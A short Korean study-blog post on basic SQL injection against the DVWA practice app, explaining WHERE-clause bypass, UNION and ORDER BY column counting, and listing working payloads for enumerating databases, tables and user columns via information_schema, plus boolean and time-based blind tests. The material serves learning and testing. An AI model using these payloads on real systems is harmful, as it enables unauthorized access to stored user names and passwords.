본문 바로가기
정보 보안 해킹 공부/SQL 인젝션

SQL injection 기본 종류

by 박나무 2022. 4. 15.
반응형

 where  구문 우회 아이디가 1인 데이터와 항상 '참'인데이터 모든 사용자가 리턴된다.

union은 합집합으로 두개의 셀렉트 구문을 포함시킨다.

아이디가 1인 사용자와 모든 사용자의 이름과 비밀번호 리턴. 뒤에 #은 주석처리.

 

 

1' union select 1,1#  입력시

합집합으로 같이 출력.

 

1' union select 1,1,1#  3개를 넣었는데 에러가 뜬다?

이전 셀렉트 문 컬럼의 갯수는 2개만 사용된 것을 알 수 있다.

 

 

또 다른 방법

 

 

ORDER BY 는 정렬할 때 사용하는데

1' order by 1# 에러 발생 안함

1' order by 2# 에러 발생 안함

1' order by 3# 에러 발생!

컬럼 갯수는 2개라는 것을 알 수 있다.

 

 

유니온을 사용하면 정확한 값을 입력할때까지 대입해봐야하지만 오더 바이를 사용하면 입력값보다 큰지 작은지 로 더 빨리 갯수를 찾아 낼 수 있다.

 

 

그 외 명령어.

 

// WHERE 구문 우회
1' or '1'='1

// UNION을 이용한 칼럼 갯수 알아내기
1' union select 1,1#

// ORDER BY 구문을 이용한 칼럼 갯수 알아내기
1' order by 2#

// 데이터베이스 명 조회
1' union select schema_name,1 from information_schema.schemata #

// dvwa 데이터베이스의 테이블 명 조회
1' union select table_schema, table_name from information_schema.tables where table_schema = 'dvwa' #

// users 테이블 칼럼 조회
1' union select table_name, column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users'# 

// 블라인드 SQL 인젝션 참 구문
1' AND 1=1# 

// 블라인드 SQL 인젝션 거짓 구문
1' AND 1=2#

// 시간기반 블라인드 SQL 인젝션 탐지 구문
1' AND SLEEP(5)#

 

 

반응형

댓글